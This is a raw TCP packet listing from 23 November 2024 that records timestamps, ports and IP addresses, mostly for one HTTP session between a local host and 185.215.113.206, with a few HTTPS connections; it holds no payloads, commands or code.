Nov 23, 2024 02:55:38.077589989 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.082031965 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.082196951 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.082200050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.082240105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.086602926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.086690903 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.086714983 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.086728096 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.091232061 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.091252089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.091332912 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.095757008 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.095837116 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.095848083 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.095916033 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.099127054 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.099153042 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.099195957 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.099195957 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.103612900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.103821039 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.210494041 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.210570097 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.210619926 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.212441921 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.212595940 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.212852001 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.212852001 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.212852001 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.216352940 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.217736959 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.217820883 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.217835903 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.218637943 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.221606970 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.221712112 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.221834898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.225384951 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.225486994 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.225815058 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.229007959 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.229096889 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.229204893 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.229294062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.232491016 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.232549906 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.233563900 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.235960007 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.236135960 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.236143112 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.236193895 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.239459991 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.239521980 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.239525080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.239586115 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.242983103 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.243071079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.243166924 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.243287086 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.246428967 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.246464014 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.246521950 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.246572971 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.249939919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.250001907 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.250077963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.250077963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.251301050 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.253447056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.253523111 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.253556013 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.253597021 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.253988028 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.254012108 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.254471064 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.254476070 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.256854057 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.256938934 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.257005930 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.257220030 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.260355949 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.260425091 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.260462046 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.260724068 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.263854980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.263923883 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.263955116 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.264033079 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.267404079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.267416000 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.267476082 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.270875931 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.270941019 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.270970106 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.270996094 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.272182941 CET	49872	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.272209883 CET	443	49872	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.272267103 CET	49872	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.272402048 CET	49873	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.272448063 CET	443	49873	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.272651911 CET	49872	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.272666931 CET	443	49872	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.272672892 CET	49873	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.272902966 CET	49873	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:38.272922039 CET	443	49873	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:38.274388075 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.274416924 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.274480104 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.274568081 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.277756929 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.278565884 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.330084085 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.330151081 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.330213070 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.330214024 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.331130981 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.331193924 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.331285000 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.334619999 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.334685087 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.334717989 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.334765911 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.338089943 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.338160038 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.338184118 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.338227987 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.341571093 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.341700077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.341732025 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.341761112 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.345074892 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.345159054 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.345325947 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.345325947 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.348589897 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.348649979 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.348685980 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.348711014 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.350940943 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.352034092 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.352130890 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.352137089 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.352184057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.353457928 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.353498936 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.354088068 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.354095936 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.355505943 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.355566978 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.358314991 CET	443	49864	18.165.220.110	192.168.2.6
Nov 23, 2024 02:55:38.358593941 CET	49864	443	192.168.2.6	18.165.220.110
Nov 23, 2024 02:55:38.358617067 CET	443	49864	18.165.220.110	192.168.2.6
Nov 23, 2024 02:55:38.360343933 CET	443	49864	18.165.220.110	192.168.2.6
Nov 23, 2024 02:55:38.360414982 CET	49864	443	192.168.2.6	18.165.220.110
Nov 23, 2024 02:55:38.361433983 CET	49864	443	192.168.2.6	18.165.220.110
Nov 23, 2024 02:55:38.361524105 CET	443	49864	18.165.220.110	192.168.2.6
Nov 23, 2024 02:55:38.402503014 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.402518034 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.402702093 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.403320074 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.403399944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.403413057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.403446913 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.406451941 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.406529903 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.406538963 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.406636000 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.409482956 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.409537077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.409677029 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.412307024 CET	49864	443	192.168.2.6	18.165.220.110
Nov 23, 2024 02:55:38.412333012 CET	443	49864	18.165.220.110	192.168.2.6
Nov 23, 2024 02:55:38.412559032 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.412612915 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.412616014 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.412686110 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.415596008 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.415631056 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.415833950 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.415833950 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.418629885 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.418745995 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.418746948 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.418806076 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.420000076 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:38.420059919 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:38.421720028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.421786070 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.421794891 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.421845913 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.424737930 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.424799919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.424943924 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.424943924 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.427779913 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.427901030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.428443909 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.428443909 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.430834055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.430872917 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.430928946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.431073904 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.433933020 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.433949947 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.433978081 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.434036016 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.436948061 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.437040091 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.437079906 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.437189102 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.439974070 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.440110922 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.440304995 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.440304995 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.443598986 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.443631887 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.443871975 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.443871975 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.446136951 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.446197987 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.446233988 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.446315050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.449223995 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.449327946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.449350119 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.449551105 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.452213049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.452327967 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.452343941 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.452403069 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.455295086 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.455352068 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.455398083 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.455558062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.458338022 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.458444118 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.458492041 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.458976030 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.460314035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.460371971 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.460423946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.460803032 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.462220907 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.462331057 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.462332964 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.463332891 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.464176893 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.464193106 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.464354038 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.464354038 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.466053963 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.466068029 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.466169119 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.466175079 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.466762066 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.467947960 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.468023062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.468051910 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.468413115 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.469832897 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.469928980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.470030069 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.470030069 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.471748114 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.471875906 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.472018003 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.472245932 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.473649979 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.473803043 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.473874092 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.475526094 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.475627899 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.475656986 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.475701094 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.476291895 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.476310968 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.477432013 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.477629900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.477734089 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.479357004 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.479450941 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.479474068 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.481373072 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.481524944 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:38.481534004 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:38.481570959 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.481662035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.481812000 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.481812000 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.483122110 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.483221054 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.483262062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.483262062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.485030890 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.485085011 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.485127926 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.485127926 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.486983061 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.486999035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.487221956 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.487221956 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.488837957 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.488939047 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.489021063 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.489128113 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.490756035 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.490848064 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.490890026 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.491103888 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.492607117 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.492718935 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.493098021 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.493238926 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.494539976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.494729042 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.494775057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.494775057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.496438026 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.496454954 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.497108936 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.498326063 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.498431921 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.498501062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.499192953 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:38.499216080 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:38.499336004 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.499805927 CET	49853	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:38.499818087 CET	443	49853	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:38.500228882 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.500330925 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.500397921 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.500397921 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.502108097 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.502222061 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.502288103 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.502289057 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:38.504028082 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.504132032 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:38.504400015 CET	49814	80	192.168.2.6	185.215.113.206
